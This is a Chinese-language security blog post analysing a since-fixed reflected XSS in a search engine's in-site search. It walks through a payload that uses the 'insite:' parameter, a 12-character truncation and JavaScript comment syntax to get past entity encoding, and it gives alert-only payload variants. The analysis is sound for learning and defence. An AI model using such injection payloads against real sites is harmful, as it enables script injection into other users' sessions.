选择你喜欢的标签
我们会为你匹配适合你的网址导航

    确认 跳过

    跳过将删除所有初始化信息

    某度XSS验证代码分析

    安全 2021-11-26 19:23

    声明:该文章来自(楼兰)版权由原作者所有,K2OS渲染引擎提供网页加速服务。

    一、背景描述

    下午在学习,偶然打开群聊后,发现有人发了某搜索引擎的一个XSS,因为没什么要紧事所以就顺道分析一下。因为发现的比较晚(工作太投入了),所以只分析了一会就被修复了,没法进一步推测一些细节;不过还好的是当时页面另存到本地了。

    二、定位SINK

    PAYLOAD如下所示:

    insite:==<script>/**/alert(/sink/)//
    

    F12搜索一下关键字,好家伙好多输出点,于是将页面另存到本地,打开CodeQL。

    假设是反射型XSS的话,alert肯定被JavaScript认为是一个命令,而非普通文本

    三、细节一:insite

    为什么要使用insite,是因为本次的输出点,位于这个站点内检索的功能,

    在使用站点内检索时,会将设置的站点名输出出来,像下面这样。


    四、细节二:两处输出点

    要搜索的内容,存在多处输出点,关键的输出点有两处,我简化了一下,HTML源代码结构如下所示:

    <div><span>{sink}</span></div>
    <script>
      foo = "{sink}";
    </script>
    

    第一个输出点就是上图中站点内检索,输出qq.com的位置,第二个是在script标签内,用参数来记录搜索内容。


    输出点1的情况:

    1)限制了输出点内容的长度,最多显示12个字符,超出字符使用...表示

    2)存在HTML注入

    我们看一下可利用的最短的XSS Payload,20个字符,明显仅凭输出点1无法利用。


    输出点2的情况:

    1)未限制输出点内容的产犊

    2)存在XSS防护,会对尖括号和引号进行HTML实体编码

    将sink的值设置为0123456789ABCD时,正常的输出像下面这个样子

    <div><span>0123456789AB...</span></div>
    <script>
      foo = "0123456789ABCD";
    </script>
    

    五、细节三:浏览器渲染的优先级


    1.浏览器在遇到<script>标签后,会调用JavaScript引擎进行渲染

    2.JavaScript引擎在遇到/*后,会认为进入了注释的语境中,直到遇到*/,再跳出注释会话。


    另外提一句,在<script>标签内的语境中时, </script>这个Token的优先级高于一切;所以说在注释的语境中时,除非遇到</script>,否则只有读到*/才会跳出注释语境。

    而。


    六、Payload的一些细节

    如下是根据该Payload推测的一些细节


    1.首先必需要使用insite:来将Payload输出到站点内搜索的tab中

    insite:

    2.加入<script>标签

    insite:<script>

    此时,HTML源代码的结构类似下面这个样子,会认为</span></div><script> foo = "&lt;script&gt;";这些都在JS代码,引发报错。

    <div><span><script></span></div>
    <script>
     foo = "&lt;script&gt;";
    

    </script>

    这是因为<script>标签内的语句中时,必须读到</script>才会跳出。如果后面没有出现时,浏览器会认为后面所有的内容都在<script>标签内(包括</body></html>),然后手动追加</script></body></html>

    3.利用多行注释+输出点1的字符截断解决报错

    3.1 在输出点1开始注释

    insite:<script>/*

    此时,HTML源代码的结构类似下面这个样子,会认为</span></div><script>foo = "&lt;script&gt;/*";这些都是被注释的内容

    <div><span><script>/*</span></div>
    <script>
     foo = "&lt;script&gt;/*";
    </script>
    

    3.2 在输出点2结束注释

    insite:<script>/**/

    此时,HTML源代码的结构类似下面这个样子

    <div><span><script>/**/</span></div>
    <script>
     foo = "&lt;script&gt;/**/";
    </script>
    

    考虑到渲染的优先级,进入到注释语境中后,只有遇到*/才认为跳出注释语境,但是如上所示,进入注释语境后,立马就会遇到*/,所以认为跳出了。

    3.3 利用输出点1的字符限制截断注释结束符号

    在输出点1想要保留的字符是<script>/*,一共10个字符,输出点1限制字符为12个

    所以在<script>前面填充两个字符

    insite:==<script>/**/

    此时,HTML源代码的结构类似下面这个样子,如下所示蓝色部分认为是JS的注释

    <div><span>==<script>/*</span></div>
    <script>
     foo = "==&lt;script&gt;/**/";
    </script>
    

    3.3 例如单行注释闭合输出点2后面的引号

    insite:==<script>/**/{PAYLOAD};//
    

    此时,HTML源代码的结构类似下面这个样子

    <div><span>==<script>/*</span></div>
    <script>
     foo = "==&lt;script&gt;/**/{PAYLAOD};//";
    </script>
    

    七、一些新的想法

    在写细节3.2的时候,想到一个点,/*是开始符号,认为*/是结束符号,既然JavaScript引擎进入多行注释的语境后,只有遇到*/才跳出,那么完全可以使用/*/来满足这个开始和结束的两个需求。

    insite:<script>/*/alert(/1/);//

    此时,HTML源代码的结构类似下面这个样子

    <div><span><script>/*/a</span></div>
    <script>
     foo = "==&lt;script&gt;/*/alert(/sink/);//";
    </script>
    

    这样的话,可以不用考虑在输出点1闭合注释的困难了。

    关注我们

    [超站]友情链接:

    四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
    关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/

    图库